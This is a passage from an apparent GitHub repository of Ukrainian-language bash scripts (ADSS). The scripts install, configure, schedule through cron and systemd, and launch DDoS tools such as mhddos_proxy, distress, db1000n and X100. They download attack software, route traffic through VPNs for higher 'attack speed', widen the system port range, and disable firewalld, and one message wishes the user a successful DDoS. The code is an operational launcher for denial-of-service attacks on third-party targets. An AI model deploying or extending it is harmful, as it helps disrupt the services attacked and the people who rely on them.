147 | local start="ExecStart=${SCRIPT_DIR}/bin/mhddos_proxy_linux"
148 |
149 | while read -r line
150 | do
151 | key=$(echo "$line" | cut -d '=' -f1)
152 | value=$(echo "$line" | cut -d '=' -f2)
153 |
154 | if [[ "$key" = "[mhddos]" || "$key" = "[/mhddos]" ]]; then
155 | continue
156 | fi
157 |
158 | if [[ "$key" == 'use-my-ip' && "$(get_mhddos_variable 'use-my-ip')" == 0 ]];then
159 | continue
160 | fi
161 | if [[ "$key" == 'cron-to-run' || "$key" == 'cron-to-stop' ]];then
162 | continue
163 | fi
164 | if [[ "$value" ]]; then
165 | start="$start --$key $value"
166 | fi
167 | done <<< "$lines"
168 | start=$(echo $start | sed 's/\//\\\//g')
169 |
170 | sed -i "s/ExecStart=.*/$start/g" "${SCRIPT_DIR}"/services/mhddos.service
171 |
172 | sudo systemctl daemon-reload
173 | }
174 |
175 | mhddos_run() {
176 | sudo rm -rf /tmp/_MEI* >/dev/null 2>&1
177 | sudo systemctl stop distress.service >/dev/null 2>&1
178 | sudo systemctl stop db1000n.service >/dev/null 2>&1
179 | sudo systemctl stop x100.service >/dev/null 2>&1
180 | sudo systemctl start mhddos.service >/dev/null 2>&1
181 | }
182 |
183 | mhddos_auto_enable() {
184 | sudo systemctl disable distress.service >/dev/null 2>&1
185 | sudo systemctl disable db1000n.service >/dev/null 2>&1
186 | sudo systemctl disable x100 >/dev/null 2>&1
187 | sudo systemctl enable mhddos.service >/dev/null 2>&1
188 | create_symlink
189 | confirm_dialog "$(trans "MHDDOS додано до автозавантаження")"
190 | }
191 | mhddos_auto_disable() {
192 | sudo systemctl disable mhddos >/dev/null 2>&1
193 | create_symlink
194 | confirm_dialog "$(trans "MHDDOS видалено з автозавантаження")"
195 | }
196 | mhddos_enabled() {
197 | sudo systemctl is-enabled mhddos >/dev/null 2>&1 && return 0 || return 1
198 | }
199 |
200 | mhddos_stop() {
201 | # create_symlink
202 | sudo systemctl stop mhddos.service >/dev/null 2>&1
203 | }
204 |
205 | mhddos_get_status() {
206 | while true; do
207 | clear
208 | st=$(sudo systemctl status mhddos.service)
209 | echo "$st"
210 | echo -e "${ORANGE}$(trans "Нажміть будь яку клавішу щоб продовжити")${NC}"
211 | sleep 3
212 | if read -rsn1 -t 0.1; then
213 | break
214 | fi
215 | done
216 | initiate_mhddos
217 | }
218 | mhddos_installed() {
219 | if [[ ! -f "$TOOL_DIR/mhddos_proxy_linux" ]]; then
220 | return 1
221 | else
222 | return 0
223 | fi
224 | }
225 |
226 | is_not_arm_arch() {
227 | if [[ "$OSARCH" != armv6* && "$OSARCH" != armv7* && $OSARCH != armv8* ]]; then
228 | return 1
229 | else
230 | return 0
231 | fi
232 | }
233 |
234 | mhddos_configure_scheduler() {
235 | clear
236 | echo -ne "${GREEN} .---------------- $(trans "хвилина") (0 - 59)
237 | | .------------- $(trans "година") (0 - 23)
238 | | | .---------- $(trans "день місяця") (1 - 31)
239 | | | | .------- $(trans "місяць") (1 - 12)
240 | | | | | .---- $(trans "день тижня") (0 - 6)
241 | | | | | |
242 | * * * * *${NC}"
243 |
244 | echo -ne "\n\n"
245 | echo -ne "${GREEN}$(trans "Або згенеруйте його за посиланням") ${NC}${RED}https://crontab.guru/${NC}"
246 | echo -ne "\n\n"
247 | echo -ne "$(trans "Зверніть увагу на ваш час командою") ${GREEN}date${NC}"
248 | echo -ne "\n\n"
249 | echo -ne "$(trans "Наприклад:")"
250 | echo -ne "\n"
251 | echo -ne " ${GREEN}$(trans "Запуск MHDDOS о 20:00 щодня") -${NC} ${RED}0 20 * * *${NC}"
252 | echo -ne "\n"
253 | echo -ne " ${GREEN}$(trans "Зупинка MHDDOS о 08:00 щодня") -${NC} ${RED}0 8 * * *${NC}"
254 | echo -ne "\n\n"
255 | read -e -p "$(trans "Введіть cron-час для ЗАПУСКУ (формат: * * * * *): ")" -i "$(get_mhddos_variable 'cron-to-run')" cron_time_to_run
256 | echo -ne "\n"
257 | read -e -p "$(trans "Введіть cron-час для ЗУПИНКИ (формат: * * * * *): ")" -i "$(get_mhddos_variable 'cron-to-stop')" cron_time_to_stop
258 |
259 |
260 | if [[ -n "$cron_time_to_run" ]]; then
261 | write_mhddos_variable "cron-to-run" "$cron_time_to_run"
262 | elif [[ "$cron_time_to_run" == "" ]]; then
263 | sudo crontab -l | grep -v 'mhddos_run' | sudo crontab -
264 | write_mhddos_variable "cron-to-run" ""
265 | fi
266 |
267 | if [[ -n "$cron_time_to_stop" ]]; then
268 | write_mhddos_variable "cron-to-stop" "$cron_time_to_stop"
269 | elif [[ "$cron_time_to_stop" == "" ]]; then
270 | sudo crontab -l | grep -v 'mhddos_stop' | sudo crontab -
271 | write_mhddos_variable "cron-to-stop" ""
272 | fi
273 |
274 | if [[ "$cron_time_to_run" == "" ]] && [[ "$cron_time_to_stop" == "" ]]; then
275 | confirm_dialog "$(trans "Запуск MHDDOS за розкладом припинено")"
276 | autoload_configuration
277 | elif [[ -n "$cron_time_to_run" ]] || [[ -n "$cron_time_to_stop" ]]; then
278 | to_start_mhddos_schedule_running
279 | else
280 | autoload_configuration
281 | fi
282 | }
283 |
284 | check_if_mhddos_running_on_schedule() {
285 | ($(sudo crontab -l | grep -q 'mhddos_run') || $(sudo crontab -l | grep -q 'mhddos_stop')) >/dev/null 2>&1 && return 0 || return 1
286 | }
287 |
288 | to_start_mhddos_schedule_running() {
289 | local menu_items=("$(trans "Так")" "$(trans "Ні")")
290 | local res=$(display_menu "$(trans "Запустити MHDDOS за розкладом?")" "${menu_items[@]}")
291 | case "$res" in
292 | "$(trans "Так")")
293 | run_mhddos_on_schedule
294 | confirm_dialog "$(trans "MHDDOS буде ЗАПУЩЕНО за розкладом")"
295 | autoload_configuration
296 | ;;
297 | "$(trans "Ні")")
298 | autoload_configuration
299 | ;;
300 | esac
301 | }
302 |
303 | run_mhddos_on_schedule() {
304 | sudo systemctl disable mhddos >/dev/null 2>&1
305 | sudo systemctl disable distress >/dev/null 2>&1
306 | sudo systemctl disable x100 >/dev/null 2>&1
307 | sudo systemctl disable db1000n >/dev/null 2>&1
308 | create_symlink
309 |
310 | chmod +x "$SCRIPT_DIR/utils/mhddos.sh"
311 | local cron_time_to_run=$(get_mhddos_variable 'cron-to-run')
312 | local cron_time_to_stop=$(get_mhddos_variable 'cron-to-stop')
313 | sudo crontab -l | grep -v 'mhddos_run' | sudo crontab -
314 | sudo crontab -l | grep -v 'mhddos_stop' | sudo crontab -
315 | sudo crontab -l | grep -v 'distress_run' | sudo crontab -
316 | sudo crontab -l | grep -v 'distress_stop' | sudo crontab -
317 | sudo crontab -l | grep -v 'x100_run' | sudo crontab -
318 | sudo crontab -l | grep -v 'x100_stop' | sudo crontab -
319 | if [[ -n "$cron_time_to_run" ]]; then
320 | (sudo crontab -l 2>/dev/null; echo "$cron_time_to_run bash -c '. $SCRIPT_DIR/utils/mhddos.sh && mhddos_run'") | sudo crontab -
321 | fi
322 |
323 | if [[ -n "$cron_time_to_stop" ]]; then
324 | (sudo crontab -l 2>/dev/null; echo "$cron_time_to_stop bash -c '. $SCRIPT_DIR/utils/mhddos.sh && mhddos_stop'") | sudo crontab -
325 | fi
326 | }
327 |
328 | stop_mhddos_on_schedule() {
329 | sudo crontab -l | grep -v 'mhddos_run' | sudo crontab -
330 | sudo crontab -l | grep -v 'mhddos_stop' | sudo crontab -
331 | write_mhddos_variable "cron-to-run" ""
332 | write_mhddos_variable "cron-to-stop" ""
333 | }
334 |
335 |
336 | initiate_mhddos() {
337 | mhddos_installed
338 | if [[ $? == 1 ]]; then
339 | confirm_dialog "$(trans "MHDDOS не встановлений, будь ласка встановіть і спробуйте знову")"
340 | ddos_tool_managment
341 | else
342 | if sudo systemctl is-active mhddos >/dev/null 2>&1; then
343 | local active_disactive="$(trans "Зупинка MHDDOS")"
344 | else
345 | local active_disactive="$(trans "Запуск MHDDOS")"
346 | fi
347 | local menu_items=("$active_disactive" "$(trans "Налаштування MHDDOS")" "$(trans "Статус MHDDOS")" "$(trans "Повернутись назад")")
348 | local res=$(display_menu "MHDDOS" "${menu_items[@]}")
349 |
350 | case "$res" in
351 | "$(trans "Зупинка MHDDOS")")
352 | mhddos_stop
353 | mhddos_get_status
354 | ;;
355 | "$(trans "Запуск MHDDOS")")
356 | mhddos_run
357 | mhddos_get_status
358 | ;;
359 | "$(trans "Налаштування MHDDOS")")
360 | configure_mhddos
361 | initiate_mhddos
362 | ;;
363 | "$(trans "Статус MHDDOS")")
364 | mhddos_get_status
365 | ;;
366 | "$(trans "Повернутись назад")")
367 | ddos_tool_managment
368 | ;;
369 | esac
370 | fi
371 | }
372 |
--------------------------------------------------------------------------------
/utils/port-extending.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | extend_ports() {
4 | port_range_string="net.ipv4.ip_local_port_range=16384 65535"
5 | specified_file="/etc/sysctl.conf"
6 |
7 | if [[ -f "$specified_file" ]]; then
8 | if [[ $(grep -L "$port_range_string" "$specified_file") ]]; then
9 | extend() {
10 | sudo bash -c "echo '$port_range_string' >> $specified_file"
11 | sudo sysctl -p
12 | }
13 | extend >/dev/null 2>&1
14 | confirm_dialog "$(trans "Порти успішно розширено")"
15 | else
16 | confirm_dialog "$(trans "Наразі всі порти розширено")"
17 | fi
18 | else
19 | confirm_dialog "$(trans "Не можливо виконати дію")"
20 | fi
21 | }
22 |
--------------------------------------------------------------------------------
/utils/translate.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | apply_localization() {
4 | local PATH_TO_LOCALIZATION="$SCRIPT_DIR/i18n"
5 | local file_to_include=""
6 | lang_param_found=false
7 | for arg in "$@"; do
8 | if [[ "$arg" == "--lang" ]]; then
9 | lang_param_found=true
10 | elif [[ "$arg" == "en" && "$lang_param_found" == true ]]; then
11 | file_to_include="$PATH_TO_LOCALIZATION/en.sh"
12 | break
13 | fi
14 | done
15 | echo "$file_to_include"
16 | }
17 |
18 | trans() {
19 | if [[ -z "${localization[@]}" || -z "${localization[$1]}" ]]; then
20 | echo "$1"
21 | else
22 | echo "${localization[$1]}"
23 | fi
24 | }
25 |
--------------------------------------------------------------------------------
/utils/ufw.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | source "${SCRIPT_DIR}/utils/definitions.sh"
4 | install_ufw() {
5 | case $(get_distribution) in
6 | fedora | rocky)
7 | adss_dialog "$(trans "Встановлюємо UFW фаєрвол")"
8 | install() {
9 | sudo systemctl stop firewalld
10 | sudo systemctl disable firewalld
11 | sudo dnf install ufw -y && sudo ufw disable
12 | sudo /bin/systemctl restart ufw.service
13 | }
14 | install >/dev/null 2>&1
15 | confirm_dialog "$(trans "Фаєрвол UFW встановлено і деактивовано")"
16 | ;;
17 | ol)
18 | adss_dialog "$(trans "Встановлюємо UFW фаєрвол")"
19 | install() {
20 | sudo dnf install epel-release -y
21 | sudo systemctl stop firewalld
22 | sudo systemctl disable firewalld
23 | sudo dnf install ufw -y && sudo ufw disable
24 | sudo /bin/systemctl restart ufw.service
25 | }
26 | install >/dev/null 2>&1
27 | confirm_dialog "$(trans "Фаєрвол UFW встановлено і деактивовано")"
28 | ;;
29 | *)
30 | adss_dialog "$(trans "Встановлюємо UFW фаєрвол")"
31 | install() {
32 | sudo apt-get update -y && sudo apt-get install ufw -y && sudo ufw disable
33 | sudo /bin/systemctl restart ufw.service
34 | }
35 | install >/dev/null 2>&1
36 | confirm_dialog "$(trans "Фаєрвол UFW встановлено і деактивовано")"
37 | ;;
38 | esac
39 | }
40 | ufw_is_active() {
41 | if systemctl is-active --quiet ufw; then
42 | return 1
43 | else
44 | return 0
45 | fi
46 | }
47 | enable_ufw() {
48 | sudo systemctl enable ufw >/dev/null 2>&1
49 | sudo systemctl start ufw >/dev/null 2>&1
50 | confirm_dialog "$(trans "UFW успішно увімкнено")"
51 | }
52 | disable_ufw() {
53 | sudo systemctl disable ufw >/dev/null 2>&1
54 | sudo systemctl stop ufw >/dev/null 2>&1
55 | confirm_dialog "$(trans "UFW успішно вимкнено")"
56 | }
57 | ufw_installed() {
58 | if [[ ! $(sudo ufw status 2>/dev/null) ]]; then
59 | return 0
60 | else
61 | return 1
62 | fi
63 | }
64 | configure_ufw() {
65 | ufw_installed
66 | if [[ $? == 0 ]]; then
67 | confirm_dialog "$(trans "UFW не встановлений, будь ласка встановіть і спробуйте знову")"
68 | else
69 | adss_dialog "$(trans "Налаштовуємо UFW фаєрвол")"
70 | configure() {
71 | sudo ufw default deny incoming
72 | sudo ufw default allow outgoing
73 | sudo ufw allow 22
74 | sudo ufw --force enable
75 | }
76 | configure >/dev/null 2>&1
77 | confirm_dialog "$(trans "Фаєрвол UFW налаштовано і активовано")"
78 | fi
79 | }
80 |
--------------------------------------------------------------------------------
/utils/updater.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | env_file="/etc/environment"
3 |
4 | check_updates() {
5 | source "$env_file"
6 | if [ -z "$ADSS_DEPLOYMENT_VERSION" ]; then
7 | prepare_for_update
8 | else
9 | timestamp=$(date +%s)
10 | diff=$((timestamp - ADSS_DEPLOYMENT_VERSION))
11 | five_minutes=300
12 | if [[ $diff -gt $five_minutes ]]; then
13 | prepare_for_update
14 | fi
15 | fi
16 | }
17 | prepare_for_update() {
18 | echo -e "${GREEN}$(trans "Перевіряємо наявність оновлень")${NC}"
19 | current_version=$(<"$SCRIPT_DIR"/version.txt)
20 | current_version=${current_version//[$'\t\r\n']/}
21 | remote_version=$(curl -s 'https://raw.githubusercontent.com/it-army-ua-scripts/ADSS/main/version.txt')
22 |
23 | echo -e "$(trans "Встановлена версія") = ${ORANGE}$current_version${NC}"
24 | echo -e "$(trans "Актуальна версія") = ${ORANGE}$remote_version${NC}"
25 |
26 | if [[ "$current_version" < "$remote_version" ]]; then
27 | update_adss
28 | fi
29 | write_version $(date +%s)
30 | sleep 2
31 | }
32 | write_version() {
33 | sudo sed -i '/ADSS_DEPLOYMENT_VERSION/d' $env_file
34 | echo "ADSS_DEPLOYMENT_VERSION=\"$1\"" | sudo tee -a $env_file >/dev/null 2>&1
35 | source $env_file
36 | }
37 |
38 | update_adss() {
39 | echo -e "${GREEN}$(trans "Оновляємо ADSS")${NC}"
40 | cd $SCRIPT_DIR &&
41 | git checkout services/db1000n.service >/dev/null 2>&1 &&
42 | git checkout services/distress.service >/dev/null 2>&1 &&
43 | git checkout services/mhddos.service >/dev/null 2>&1 &&
44 | # git checkout services/EnvironmentFile >/dev/null 2>&1 &&
45 | git pull --all || adss --restore
46 |
47 | SERVICES=('mhddos' 'distress' 'db1000n')
48 | for SERVICE in "${!SERVICES[@]}"; do
49 | source "${SCRIPT_DIR}/utils/${SERVICES[SERVICE]}.sh"
50 | regenerate_"${SERVICES[SERVICE]}"_service_file
51 | done
52 | echo -e "${GREEN}$(trans "ADSS успішно оновлено")${NC}"
53 | }
54 |
--------------------------------------------------------------------------------
/utils/x100.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | x100_run() {
4 | sudo systemctl stop db1000n.service >/dev/null 2>&1
5 | sudo systemctl stop distress.service >/dev/null 2>&1
6 | sudo systemctl stop mhddos.service >/dev/null 2>&1
7 | sudo systemctl start x100.service >/dev/null 2>&1
8 | }
9 |
10 | x100_auto_enable() {
11 | sudo systemctl disable mhddos.service >/dev/null 2>&1
12 | sudo systemctl disable db1000n.service >/dev/null 2>&1
13 | sudo systemctl disable distress.service >/dev/null 2>&1
14 | sudo systemctl enable x100 >/dev/null 2>&1
15 | create_symlink
16 | confirm_dialog "$(trans "X100 додано до автозавантаження")"
17 | }
18 |
19 | x100_auto_disable() {
20 | sudo systemctl disable x100 >/dev/null 2>&1
21 | create_symlink
22 | confirm_dialog "$(trans "X100 видалено з автозавантаження")"
23 | }
24 |
25 | x100_enabled() {
26 | sudo systemctl is-enabled x100 >/dev/null 2>&1 && return 0 || return 1
27 | }
28 |
29 | x100_stop() {
30 | sudo systemctl stop x100.service >/dev/null 2>&1
31 | }
32 |
33 | x100_get_status() {
34 | while true; do
35 | clear
36 | st=$(sudo systemctl status x100.service)
37 | echo "$st"
38 | echo -e "${ORANGE}$(trans "Нажміть будь яку клавішу щоб продовжити")${NC}"
39 | sleep 3
40 | if read -rsn1 -t 0.1; then
41 | break
42 | fi
43 | done
44 |
45 | initiate_x100
46 | }
47 |
48 | docker_installed() {
49 | docker container ls 1>/dev/null 2>/dev/null && return 0 || return 1
50 | }
51 |
52 | add_user_to_docker_group() {
53 | if ! grep -q docker /etc/group; then
54 | sudo groupadd docker
55 | fi
56 |
57 | if ! id -nG "$USER" | grep -qw "docker"; then
58 | sudo usermod -aG docker $USER
59 | clear
60 | echo -e '\n'
61 | echo -e "${ORANGE}Перезапустили 'docker' конфігурацію, будь ласка, запустіть ${NC}""${GREEN}\e[4madss\e[0m${NC}""${ORANGE} команду знову і вдалого вам ддосу :).${NC}"
62 | newgrp docker
63 | fi
64 | }
65 |
66 | install_docker() {
67 | if [ -r /etc/os-release ]; then
68 | clear
69 | sudo apt install -y docker.io
70 | sudo service docker start
71 | sudo systemctl enable docker
72 | else
73 | echo -e "${RED}Неможливо визначити операційну систему/Unable to determine operating system${NC}"
74 | fi
75 | }
76 |
77 | initiate_x100() {
78 | x100_installed
79 | if [[ $? == 1 ]]; then
80 | menu_items=("$(trans "Так")" "$(trans "Ні")")
81 | res=$(display_menu "$(trans "X100 не встановлений, встановити?")" "${menu_items[@]}")
82 | case "$res" in
83 | "$(trans "Так")")
84 | confirm_dialog "$(trans "Встановлюємо Х100")"
85 | install_x100
86 | confirm_dialog "$(trans "Х100 успішно встановлено")"
87 | ;;
88 | "$(trans "Ні")")
89 | ddos_tool_managment
90 | ;;
91 | esac
92 | fi
93 | docker_installed
94 | if [[ $? == 1 ]]; then
95 | confirm_dialog "$(trans "Встановлюємо докер")"
96 | install_docker
97 | confirm_dialog "$(trans "Докер успішно встановлено")"
98 | add_user_to_docker_group
99 | fi
100 | if sudo systemctl is-active x100 >/dev/null 2>&1; then
101 | active_disactive="$(trans "Зупинка X100")"
102 | else
103 | active_disactive="$(trans "Запуск X100")"
104 | fi
105 | menu_items=("$active_disactive" "$(trans "Налаштування X100")" "$(trans "Статус X100")" "$(trans "Повернутись назад")")
106 | res=$(display_menu "X100" "${menu_items[@]}")
107 |
108 | case "$res" in
109 | "$(trans "Запуск X100")")
110 | x100_run
111 | x100_get_status
112 | ;;
113 | "$(trans "Зупинка X100")")
114 | x100_stop
115 | x100_get_status
116 | ;;
117 | "$(trans "Налаштування X100")")
118 | configure_x100
119 | initiate_x100
120 | ;;
121 | "$(trans "Статус X100")")
122 | x100_get_status
123 | ;;
124 | "$(trans "Повернутись назад")")
125 | ddos_tool_managment
126 | ;;
127 | esac
128 | }
129 |
130 | configure_x100() {
131 | clear
132 | echo -ne "${GREEN}$(trans "Для збору особистої статистики та відображення у лідерборді на офіційному сайті.")${NC} ${ORANGE}https://itarmy.com.ua/leaderboard ${NC}""\n"
133 | echo -ne "${GREEN}$(trans "Надається Telegram ботом")${NC} ${ORANGE}@itarmy_stats_bot${NC}""\n"
134 | echo -ne "\n"
135 | read -e -p "$(trans "Юзер ІД: ")" -i "$(get_x100_variable 'itArmyUserId')" user_id
136 |
137 | configPath="$SCRIPT_DIR/x100-for-docker/put-your-ovpn-files-here/x100-config.txt"
138 |
139 | sed -i -e "s/itArmyUserId=$(get_x100_variable 'itArmyUserId')/itArmyUserId=$user_id/g" "$configPath"
140 |
141 | read -e -p "$(trans "Initial Distress Scale (10-40960): ")" -i "$(get_x100_variable 'initialDistressScale')" scale
142 | if [[ -n "$scale" ]];then
143 | while [[ $scale -lt 10 || $scale -gt 40960 ]]
144 | do
145 | echo "$(trans "Будь ласка введіть правильні значення")"
146 | read -e -p "$(trans "Initial Distress Scale (10-40960): ")" -i "$(get_x100_variable 'initialDistressScale')" scale
147 | done
148 | fi
149 | sed -i -e "s/initialDistressScale=$(get_x100_variable 'initialDistressScale')/initialDistressScale=$scale/g" "$configPath"
150 |
151 | if [[ -n "$(get_x100_variable 'ignoreBundledFreeVpn')" ]];then
152 | read -e -p "$(trans "Ignore Bundled Free Vpn (0-1): ")" -i "$(get_x100_variable 'ignoreBundledFreeVpn')" ignoreBundledFreeVpn
153 | while [[ ignoreBundledFreeVpn -lt 0 || ignoreBundledFreeVpn -gt 1 ]]
154 | do
155 | echo "$(trans "Будь ласка введіть правильні значення")"
156 | read -e -p "$(trans "Ignore Bundled Free Vpn (0-1): ")" -i "$(get_x100_variable 'ignoreBundledFreeVpn')" ignoreBundledFreeVpn
157 | done
158 |
159 | sed -i -e "s/ignoreBundledFreeVpn=$(get_x100_variable 'ignoreBundledFreeVpn')/ignoreBundledFreeVpn=$ignoreBundledFreeVpn/g" "$configPath"
160 | fi
161 |
162 | if systemctl is-active --quiet x100.service; then
163 | sudo systemctl restart x100.service >/dev/null 2>&1
164 | fi
165 | confirm_dialog "$(trans "Успішно виконано")"
166 | }
167 |
168 | get_x100_variable() {
169 | configPath="$SCRIPT_DIR/x100-for-docker/put-your-ovpn-files-here/x100-config.txt"
170 | local lines=$(cat $configPath)
171 | local variable=$(echo "$lines" | grep "$1=" | cut -d '=' -f2)
172 | echo "$variable"
173 | }
174 |
175 | get_x100_adss_variable() {
176 | local lines=$(sed -n "/\[x100\]/,/\[\/x100\]/p" "${SCRIPT_DIR}"/services/EnvironmentFile)
177 | local variable=$(echo "$lines" | grep "$1=" | cut -d '=' -f2)
178 | echo "$variable"
179 | }
180 |
181 | write_x100_adss_variable() {
182 | sed -i "/\[x100\]/,/\[\/x100\]/s/$1=.*/$1=$2/g" "${SCRIPT_DIR}"/services/EnvironmentFile
183 | }
184 |
185 | x100_installed() {
186 | if [[ ! -d "$SCRIPT_DIR/x100-for-docker" ]]; then
187 | return 1
188 | else
189 | return 0
190 | fi
191 | }
192 |
193 | install_x100() {
194 | clear
195 | cd "$SCRIPT_DIR"
196 |
197 | curl -L --fail --max-time 30 "https://github.com/ihorlv/db1000nX100/raw/main/source-code/docker/x100-for-docker.zip" -o "./x100-for-docker.zip"
198 | unzip ./x100-for-docker.zip
199 | rm ./x100-for-docker.zip
200 |
201 | cd "$SCRIPT_DIR/x100-for-docker"
202 |
203 | chmod -R ug+x "./for-macOS-and-Linux-hosts"
204 |
205 | echo -ne "${GREEN}$(trans "Для збору особистої статистики та відображення у лідерборді на офіційному сайті.")${NC} ${ORANGE}https://itarmy.com.ua/leaderboard ${NC}""\n"
206 | echo -ne "${GREEN}$(trans "Надається Telegram ботом")${NC} ${ORANGE}@itarmy_stats_bot${NC}""\n"
207 | echo -ne "\n"
208 | read -e -p "$(trans "Юзер ІД: ")" user_id
209 |
210 | configPath=./put-your-ovpn-files-here/x100-config.txt
211 |
212 | sed -i -e "s/itArmyUserId=0/itArmyUserId=$user_id/g" "$configPath"
213 | sed -i -e 's/dockerInteractiveConfiguration=1/dockerInteractiveConfiguration=0/g' "$configPath"
214 | ###
215 |
216 | scriptBeforeRunPath=./for-macOS-and-Linux-hosts/custom-script-before-run.bash
217 | echo " " >> "$scriptBeforeRunPath"
218 | echo " " >> "$scriptBeforeRunPath"
219 | echo "cd ./put-your-ovpn-files-here/FreeAndSlowVpn" >> "$scriptBeforeRunPath"
220 | echo "./generate-vpngate.bash" >> "$scriptBeforeRunPath"
221 |
222 | chmod ug+x "./put-your-ovpn-files-here/FreeAndSlowVpn/generate-vpngate.bash"
223 | create_symlink
224 | echo -ne "${GREEN}$(trans "This installation of X100 uses free and slow 'VPNGate' VPN provider.")${NC}""\n"
225 | echo -ne "${GREEN}$(trans "${ORANGE}http://www.vpngate.net${NC}")${NC}""\n"
226 | echo -ne "${GREEN}$(trans "You will need a commercial VPN account to achieve top attack speed (1 Gbit/s or more).")${NC}""\n"
227 | echo -ne "${GREEN}$(trans "(Use this link to get full-featured VPN for free https://www.vpnunlimited.com/ua/palianytsia)")${NC}""\n"
228 | echo -ne "${GREEN}$(trans "Also, be aware, that X100 gradually increases resources usage.")${NC}""\n"
229 | echo -ne "${GREEN}$(trans "X100 will reach pick performance approximately in 3 hours after launch.")${NC}""\n"
230 | echo -ne "${GREEN}$(trans "Logs will be stored in ${ORANGE}$SCRIPT_DIR/x100-for-docker/put-your-ovpn-files-here${NC} ${GREEN}folder.${NC}")${NC}""\n"
231 | echo -ne "${GREEN}$(trans "For more information contact us on Telegram ${ORANGE}https://t.me/db1000nX100${NC}")${NC}""\n"
232 | echo -ne "${GREEN}$(trans "Also, there are some manuals and docs on our official website ${ORANGE}https://x100.vn.ua/${NC}")${NC}""\n"
233 | echo -ne "${GREEN}$(trans "Best regards! X100 IT ARMY TEAM! Glory to UKRAINE!")${NC}""\n"
234 |
235 | echo -e "${ORANGE}$(trans "Нажміть будь яку клавішу щоб продовжити")${NC}"
236 | read -s -n 1 key
237 | }
238 |
239 | x100_configure_scheduler() {
240 | clear
241 | echo -ne "${GREEN} .---------------- $(trans "хвилина") (0 - 59)
242 | | .------------- $(trans "година") (0 - 23)
243 | | | .---------- $(trans "день місяця") (1 - 31)
244 | | | | .------- $(trans "місяць") (1 - 12)
245 | | | | | .---- $(trans "день тижня") (0 - 6)
246 | | | | | |
247 | * * * * *${NC}"
248 |
249 | echo -ne "\n\n"
250 | echo -ne "${GREEN}$(trans "Або згенеруйте його за посиланням") ${NC}${RED}https://crontab.guru/${NC}"
251 | echo -ne "\n\n"
252 | echo -ne "$(trans "Зверніть увагу на ваш час командою") ${GREEN}date${NC}"
253 | echo -ne "\n\n"
254 | echo -ne "Наприклад:"
255 | echo -ne "\n"
256 | echo -ne " ${GREEN}$(trans "Запуск X100 о 20:00 щодня") -${NC} ${RED}0 20 * * *${NC}"
257 | echo -ne "\n"
258 | echo -ne " ${GREEN}$(trans "Зупинка X100 о 08:00 щодня") -${NC} ${RED}0 8 * * *${NC}"
259 | echo -ne "\n\n"
260 | read -e -p "$(trans "Введіть cron-час для ЗАПУСКУ (формат: * * * * *): ")" -i "$(get_x100_adss_variable 'cron-to-run')" cron_time_to_run
261 | echo -ne "\n"
262 | read -e -p "$(trans "Введіть cron-час для ЗУПИНКИ (формат: * * * * *): ")" -i "$(get_x100_adss_variable 'cron-to-stop')" cron_time_to_stop
263 |
264 |
265 | if [[ -n "$cron_time_to_run" ]]; then
266 | write_x100_adss_variable "cron-to-run" "$cron_time_to_run"
267 | elif [[ "$cron_time_to_run" == "" ]]; then
268 | sudo crontab -l | grep -v 'x100_run' | sudo crontab -
269 | write_x100_adss_variable "cron-to-run" ""
270 | fi
271 |
272 | if [[ -n "$cron_time_to_stop" ]]; then
273 | write_x100_adss_variable "cron-to-stop" "$cron_time_to_stop"
274 | elif [[ "$cron_time_to_stop" == "" ]]; then
275 | sudo crontab -l | grep -v 'x100_stop' | sudo crontab -
276 | write_x100_adss_variable "cron-to-stop" ""
277 | fi
278 |
279 | if [[ "$cron_time_to_run" == "" ]] && [[ "$cron_time_to_stop" == "" ]]; then
280 | confirm_dialog "$(trans "Запуск X100 за розкладом припинено")"
281 | autoload_configuration
282 | elif [[ -n "$cron_time_to_run" ]] || [[ -n "$cron_time_to_stop" ]]; then
283 | to_start_x100_schedule_running
284 | else
285 | autoload_configuration
286 | fi
287 | }
288 |
289 | to_start_x100_schedule_running() {
290 | local menu_items=("$(trans "Так")" "$(trans "Ні")")
291 | local res=$(display_menu "$(trans "Запустити X100 за розкладом?")" "${menu_items[@]}")
292 | case "$res" in
293 | "$(trans "Так")")
294 | run_x100_on_schedule
295 | confirm_dialog "$(trans "X100 буде ЗАПУЩЕНО за розкладом")"
296 | autoload_configuration
297 | ;;
298 | "$(trans "Ні")")
299 | autoload_configuration
300 | ;;
301 | esac
302 | }
303 |
304 | run_x100_on_schedule() {
305 | sudo systemctl disable mhddos >/dev/null 2>&1
306 | sudo systemctl disable distress >/dev/null 2>&1
307 | sudo systemctl disable x100 >/dev/null 2>&1
308 | sudo systemctl disable db1000n >/dev/null 2>&1
309 | create_symlink
310 |
311 | chmod +x "$SCRIPT_DIR/utils/x100.sh"
312 | local cron_time_to_run=$(get_x100_adss_variable 'cron-to-run')
313 | local cron_time_to_stop=$(get_x100_adss_variable 'cron-to-stop')
314 | sudo crontab -l | grep -v 'mhddos_run' | sudo crontab -
315 | sudo crontab -l | grep -v 'mhddos_stop' | sudo crontab -
316 | sudo crontab -l | grep -v 'distress_run' | sudo crontab -
317 | sudo crontab -l | grep -v 'distress_stop' | sudo crontab -
318 | sudo crontab -l | grep -v 'x100_run' | sudo crontab -
319 | sudo crontab -l | grep -v 'x100_stop' | sudo crontab -
320 | if [[ -n "$cron_time_to_run" ]]; then
321 | (sudo crontab -l 2>/dev/null; echo "$cron_time_to_run bash -c '. $SCRIPT_DIR/utils/x100.sh && x100_run'") | sudo crontab -
322 | fi
323 |
324 | if [[ -n "$cron_time_to_stop" ]]; then
325 | (sudo crontab -l 2>/dev/null; echo "$cron_time_to_stop bash -c '. $SCRIPT_DIR/utils/x100.sh && x100_stop'") | sudo crontab -
326 | fi
327 | }
328 |
329 | check_if_x100_running_on_schedule() {
330 | ($(sudo crontab -l | grep -q 'x100_run') || $(sudo crontab -l | grep -q 'x100_stop')) >/dev/null 2>&1 && return 0 || return 1
331 | }
332 |
--------------------------------------------------------------------------------
/version.txt:
--------------------------------------------------------------------------------
1 | 2.0.5
2 |
--------------------------------------------------------------------------------